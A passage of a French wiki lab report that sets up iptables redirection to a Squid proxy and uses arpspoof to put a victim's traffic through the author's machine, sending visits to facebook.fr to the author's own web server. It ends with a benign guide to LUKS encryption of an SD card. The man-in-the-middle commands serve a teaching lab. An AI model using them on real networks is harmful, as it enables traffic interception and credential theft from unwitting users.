S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :&lt;br /&gt;
 chown -R proxy:proxy  /var/log/squid3 /var/lib/squidguard&lt;br /&gt;
 chown -R proxy:proxy  /var/log/squidguard&lt;br /&gt;
 chown -R proxy:proxy  /usr/local/squidGuard&lt;br /&gt;
&lt;br /&gt;
==== Configuration iptables et redirection ====&lt;br /&gt;
Ici nous allons configurer la redirection du trafic.&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward                                              # Autorise le forwarding ipv4&lt;br /&gt;
 iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP                                    # Bloque les ICMP 5 envoyés à la cible&lt;br /&gt;
 iptables -t nat -A PREROUTING -s &amp;lt;ip serveur squid&amp;gt; -p tcp --dport 80 -j ACCEPT     # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger&lt;br /&gt;
 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129          # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j MASQUERADE                                        # Masque l'ip de la cible avec notre propre ip&lt;br /&gt;
 iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP                        # Bloque le trafic direct vers le port du serveur Squid&lt;br /&gt;
&lt;br /&gt;
Voir le [http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect#iptables_configuration wiki de Squid] pour plus d'informations.&lt;br /&gt;
&lt;br /&gt;
==== Détournement du trafic ====&lt;br /&gt;
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :&lt;br /&gt;
 arpspoof -i &amp;lt;interface&amp;gt; -t &amp;lt;ip cible&amp;gt; &amp;lt;ip gateway&amp;gt;&lt;br /&gt;
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cryptage de données ===&lt;br /&gt;
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt;.&lt;br /&gt;
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :&lt;br /&gt;
 fdisk -l&lt;br /&gt;
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1&lt;br /&gt;
Nous pouvons maintenant créer une partition cryptée avec :&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sdb1&lt;br /&gt;
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :&lt;br /&gt;
 cryptsetup luksDump /dev/sdb1&lt;br /&gt;
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
 mkfs.ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
On peut maintenant monter la partition dans un dossier :&lt;br /&gt;
 mount -t ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt; /mnt/&lt;br /&gt;
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
 sudo cryptsetup luksClose &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour accéder à la carte SD :&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 &amp;lt;nom_du_disque&amp;gt;&lt;br /&gt;
 mount -t ext3 /dev/mapper/&amp;lt;nom_du_disque&amp;gt; /mnt/&lt;br /&gt;
 // Opérations ici&lt;br /&gt;
 umount /mnt/&lt;br /&gt;
 sudo cryptsetup luksClose &amp;lt;nom_du_disque&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	</feed>